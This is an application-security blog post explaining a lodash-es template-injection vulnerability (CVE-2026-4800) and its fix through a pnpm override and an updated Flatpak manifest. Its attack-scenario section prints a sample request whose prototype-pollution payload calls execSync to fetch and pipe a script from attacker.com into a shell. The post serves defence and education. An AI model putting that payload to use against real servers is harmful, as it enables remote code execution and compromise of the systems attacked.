Back to Blog
high SEVERITY8 min read

How Arbitrary Code Execution via Template Imports happens in JavaScript and how to fix it

CVE-2026-4800 is a high-severity arbitrary code execution vulnerability in lodash-es versions prior to 4.18.0, triggered through untrusted input passed to lodash's template engine. The fix upgrades lodash-es from 4.17.23 to 4.18.1 using a pnpm override, ensuring all transitive dependents pick up the patched version. This is a concrete reminder that even utility libraries like lodash can become critical attack surfaces when they process user-controlled input.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-4800 is a high-severity arbitrary code execution (ACE) vulnerability in the lodash-es JavaScript library, affecting versions up to 4.17.23. Rooted in CWE-94 (Improper Control of Generation of Code), the flaw allows attackers to inject malicious code through untrusted input passed to lodash's `_.template()` function, particularly via the `imports` option. The fix is to upgrade lodash-es to 4.18.1 (or later) and, in monorepos using pnpm, to add a `pnpm.overrides` entry in `package.json` so all transitive dependents receive the patched version automatically.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixUpgrade lodash-es from 4.17.23 to 4.18.1 via pnpm override in package.json
riskAttacker-controlled input passed to lodash template engine executes arbitrary code at runtime
languageJavaScript / TypeScript
root causelodash-es `_.template()` compiles templates using `Function()` without sanitizing the `imports` option, enabling code injection
vulnerabilityArbitrary Code Execution via Template Injection

A High-Severity Code Execution Flaw Hidden in Your Lock File

When developers think about arbitrary code execution vulnerabilities, they often picture complex memory corruption bugs or elaborate exploit chains. But CVE-2026-4800 is a stark reminder that a widely-used utility library sitting quietly in your pnpm-lock.yaml can be just as dangerous — and far easier to overlook.

This post walks through exactly what went wrong in lodash-es 4.17.23, how the vulnerability works in practice, and the specific changes made to close the attack surface.


The Vulnerability Explained

lodash's _.template() and the Danger of Function()

Lodash's _.template() function is a powerful tool for compiling string templates into reusable functions. Under the hood, it uses JavaScript's Function() constructor to compile template strings into executable code. This is inherently powerful — and inherently dangerous when the inputs aren't fully controlled.

The critical attack surface in versions up to 4.17.23 is the imports option of _.template(). The imports object is merged into the template's scope, and lodash does not sufficiently sanitize keys or values before passing them into the compiled Function() call. When an application allows any portion of user-controlled data to flow into a template compilation call — whether directly as a template string, as an imports key, or as an interpolated value — an attacker can inject arbitrary JavaScript that executes with the privileges of the Node.js process.

Vulnerable pattern (lodash-es ≤ 4.17.23):

import _ from 'lodash-es';

// Imagine `userInput` comes from an HTTP request body or query param
const compiled = _.template('<%= greeting %>', {
  imports: { greeting: userInput }
});

compiled(); // If userInput is crafted, this executes attacker code

The imports option was designed to inject helper functions and values into the template scope. But because lodash-es 4.17.23 does not adequately restrict what can appear in the imports map before handing it to Function(), a malicious value can escape the intended scope and execute arbitrary statements.

A Concrete Attack Scenario

Consider a web application that uses lodash-es to render user-facing notification templates. A route handler reads a template_name or context parameter from a POST body and passes it into _.template() for rendering. An attacker crafts a request with a payload like:

POST /api/notify
Content-Type: application/json

{
  "context": {
    "msg": "Hello",
    "__proto__": { "toString": "process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh | sh')" }
  }
}

In vulnerable versions of lodash-es, prototype pollution combined with the template imports handling could allow this to reach the Function() compilation step, resulting in shell command execution on the server. The attacker achieves remote code execution without any authentication bypass — just a crafted JSON body.

Real-world impact for this application: The pnpm-lock.yaml shows lodash-es was pinned at version 4.17.23, meaning any code path in the application that used lodash templates with external input was exposed. The scanner confirmed the package was present in the dependency tree, even if the specific reachability of the vulnerable path was not fully confirmed at time of detection.


The Fix

Three Coordinated Changes

The fix involved two files — package.json and packaging/flatpak/pnpm-sources.json — and the approach is worth understanding in detail.

1. Enforcing the upgrade via pnpm.overrides in package.json

The most important change is the addition of a pnpm.overrides block:

Before (package.json):

{
  "engines": {
    "node": "^20.19.0 || >=22.12.0"
  }
}

After (package.json):

{
  "engines": {
    "node": "^20.19.0 || >=22.12.0"
  },
  "pnpm": {
    "overrides": {
      "lodash-es": "4.18.1"
    }
  }
}

This is the critical security mechanism. Without this override, even if you update your direct dependency, transitive dependents — packages that depend on lodash-es but are themselves dependencies of your project — could still resolve to the older, vulnerable 4.17.23. The pnpm.overrides field forces every package in the dependency tree to use 4.18.1, closing the vulnerability regardless of which package introduced lodash-es.

2. Updating the Flatpak source manifest

The packaging/flatpak/pnpm-sources.json file is used for offline/sandboxed Flatpak builds. It explicitly pins the tarball URL and checksum for every dependency. Without updating this file, the Flatpak build would continue fetching and bundling the vulnerable version.

Before:

{
  "type": "file",
  "url": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.23.tgz",
  "sha512": "915238f2edcf66bdfc1dd633f7c5267cf9d79760d7ae975cb4bac52c277790ec75c5490e9a914fc7b80259633930f90bfdf0fccdbf8f8744338c616ce3e8475a",
  "dest-filename": "lodash-es-4.17.23.tgz",
  "dest": "flatpak-node/pnpm-tarballs"
}

After:

{
  "type": "file",
  "url": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.18.1.tgz",
  "sha512": "27cc5ec0a0ff1a4db63996e1a4e552c1cb3ad3385df791120f07b3385b80dffd3df7ddb93dd1c9ece1473531ad6a32f7025664ca40f7d87ca488ca3e048048f0",
  "dest-filename": "lodash-es-4.18.1.tgz",
  "dest": "flatpak-node/pnpm-tarballs"
}

Note that both the URL and the sha512 checksum are updated. This matters: the checksum verifies integrity of the downloaded tarball, ensuring the build system fetches exactly the patched version and not a tampered or stale artifact.

Why 4.18.1 and Not Just 4.18.0?

The PR title references 4.18.0 as the fix target (matching the CVE advisory), but the actual override pins 4.18.1. This is a common and correct practice — patch releases often follow quickly with additional hardening or minor fixes, and pinning to the latest safe patch reduces the window before the next scan cycle.


Prevention & Best Practices

1. Treat lock files as security artifacts

pnpm-lock.yaml, package-lock.json, and yarn.lock are not just reproducibility tools — they are your ground truth for what code runs in production. Scan them regularly with tools like Trivy, Snyk, or OWASP Dependency-Check.

2. Use package manager overrides for transitive vulnerabilities

When a vulnerability exists in a transitive dependency, a direct version bump may not be enough. Use the appropriate override mechanism:

  • pnpm: pnpm.overrides in package.json
  • npm: overrides in package.json (npm 8.3+)
  • yarn: resolutions in package.json

3. Never pass user-controlled data into _.template() imports

Even on patched versions, treat lodash's template engine like eval() — because under the hood, it is. The imports option, interpolation expressions (<%= %>), and escape expressions (<%- %>) should only ever receive trusted, application-controlled values.

// DANGEROUS — never do this
const compiled = _.template(req.body.template, {
  imports: req.body.context
});

// SAFE — template string and imports are application-controlled
const compiled = _.template('Hello <%= name %>!', {
  imports: { name: sanitize(req.body.name) }
});

4. Update Flatpak and other offline build manifests alongside your lock file

If your project targets multiple distribution formats (Flatpak, AppImage, Docker, etc.), each build system may independently pin dependency versions. A security fix is only complete when all build paths are updated.

5. Reference standards

  • CWE-94: Improper Control of Generation of Code — the root classification for this vulnerability class
  • OWASP A03:2021 – Injection: Template injection falls squarely in the injection category
  • OWASP JavaScript Security Cheat Sheet: Recommends avoiding dynamic code generation from user input

Key Takeaways

  • pnpm.overrides is essential for transitive dependency security: Simply upgrading a direct dependency is insufficient if lodash-es is also pulled in by other packages in the tree. The override in package.json ensures every resolution uses 4.18.1.
  • lodash _.template() compiles to Function() — treat it like eval(): Any user-controlled data reaching the imports option or the template string itself is a code injection vector in vulnerable versions.
  • Lock file entries are security-relevant: The specific version string lodash-es-4.17.23 in pnpm-lock.yaml was the exact artifact that Trivy flagged. Keeping lock files up to date is a security practice, not just a reproducibility one.
  • Offline build manifests (like Flatpak's pnpm-sources.json) need independent updates: The SHA-512 checksum change from the 4.17.23 to 4.18.1 tarball ensures the sandboxed build doesn't silently continue using the vulnerable package.
  • Static scanners can catch this before exploitation: Trivy identified this vulnerability from the lock file alone — no runtime analysis required. Integrating dependency scanning into CI/CD pipelines catches these issues at merge time.

How Orbis AppSec Detected This

  • Source: The lodash-es package version 4.17.23 declared in pnpm-lock.yaml, which is resolvable to user-influenced template compilation paths in the application runtime.
  • Sink: lodash-es's internal _.template() function, which invokes the Function() constructor with attacker-reachable input when the imports option is not sanitized.
  • Missing control: No version constraint or pnpm override was present to prevent resolution of the vulnerable 4.17.23 release; the imports option lacked input sanitization in the library itself.
  • CWE: CWE-94 — Improper Control of Generation of Code (Code Injection)
  • Fix: Added pnpm.overrides in package.json to force all dependency resolutions to lodash-es 4.18.1 and updated the Flatpak source manifest with the new tarball URL and SHA-512 checksum.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-4800 is a high-severity arbitrary code execution vulnerability that lived silently in a lock file entry — lodash-es-4.17.23 — until a scanner caught it. The fix is precise and multi-layered: a pnpm.overrides entry ensures no package in the dependency tree can resolve the vulnerable version, and an updated Flatpak manifest closes the same gap for offline builds. Both changes together mean the patched version is enforced across every build path.

The broader lesson is that security in JavaScript projects isn't just about the code you write — it's about every version string in your lock file and every build manifest that references a tarball. Treat them as security artifacts, scan them continuously, and use your package manager's override mechanisms aggressively when vulnerabilities are found in transitive dependencies.


References

Frequently Asked Questions

What is arbitrary code execution via template injection in lodash?

It is a vulnerability where untrusted input passed to lodash's `_.template()` function—especially through the `imports` option—causes the library to compile and execute attacker-controlled JavaScript using the `Function()` constructor.

How do you prevent template injection in JavaScript with lodash?

Upgrade to lodash-es 4.18.1 or later, never pass user-controlled data into `_.template()` imports or interpolation expressions, and use a pnpm/npm override to enforce the patched version across all transitive dependencies.

What CWE is template injection arbitrary code execution?

CWE-94: Improper Control of Generation of Code (Code Injection), because the vulnerability allows external input to influence the generation and execution of code at runtime.

Is input validation alone enough to prevent lodash template injection?

No. While input validation reduces risk, the safest mitigation is upgrading to the patched version (4.18.1+) because the root cause is inside lodash's template compilation logic, not solely in how calling code handles input.

Can static analysis detect lodash template injection?

Yes. Tools like Trivy (which flagged this exact issue as CVE-2026-4800) and Semgrep can identify vulnerable lodash-es versions in lock files and detect unsafe `_.template()` usage patterns in source code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #182

Related Articles

high

How HTTP Transport Hijacking via Prototype Pollution happens in JavaScript and how to fix it

CVE-2026-42033 is a high-severity prototype pollution vulnerability in axios that allows attackers to hijack the HTTP transport layer used by the library. The deltamod project was running axios 1.14.0, which lacked the hardened transport configuration introduced in 1.18.0 — including an explicit `https-proxy-agent` dependency and an upgraded `follow-redirects` floor. Upgrading to axios 1.18.0 closes the attack surface by ensuring that object prototype manipulation cannot silently redirect or int

high

How EL Injection happens in Java JSF applications and how to fix it

A high-severity Expression Language (EL) injection vulnerability was discovered and fixed in `PrimeFacesResourceProcessor.java`, a JSF phase listener responsible for resolving the PrimeFaces theme configuration. The flaw allowed a dynamically sourced theme parameter value to be passed directly into an EL expression factory without first verifying whether the value was actually an EL expression or plain text. The fix introduces explicit input branching that separates EL expressions from literal s

medium

How XML External Entity (XXE) Injection happens in Python and how to fix it

A medium-severity XML External Entity (XXE) vulnerability was discovered in `listKeyboardLayouts.py`, where Python's native `xml.etree.ElementTree` library was used to parse XML data. This library is susceptible to XXE attacks, which can allow attackers to read local files, perform server-side request forgery, or cause denial of service. The fix replaces the unsafe import with `defusedxml.ElementTree`, a drop-in hardened alternative recommended by the Python documentation itself.

high

How Prototype Pollution happens in Node.js async libraries and how to fix it

A high-severity prototype pollution vulnerability (CVE-2021-43138) was discovered in the `async` npm package versions prior to 3.2.2, affecting the `node-red-contrib-opcua` project. By exploiting crafted input passed through async's utility functions, an attacker could corrupt JavaScript's `Object.prototype`, potentially enabling privilege escalation or remote code execution. Upgrading `async` from `3.2.1` to `^3.2.2` in both `package.json` and `package-lock.json` eliminates the attack surface e

high

How SQL Injection happens in Python BigQuery connectors and how to fix it

A high-severity SQL injection vulnerability was discovered in a BigQuery connector's query-building logic, where Python f-strings interpolated user-controlled identifiers—project_id, dataset_id, table_id, and timestamp_column—directly into SQL without validation. An attacker with control over connector configuration could inject arbitrary BigQuery SQL, including destructive statements. The fix introduces strict allowlist-based identifier validation using compiled regular expressions before any S

high

How Path Traversal happens in PostCSS Source Map Loading and how to fix it

A path traversal vulnerability in PostCSS versions before 8.5.18 allowed malicious `sourceMappingURL` comments in CSS files to trick PostCSS into loading arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `frontend/package-lock.json` and pins the version via an override in `frontend/package.json`, closing the file disclosure vector before it could be chained with other weaknesses.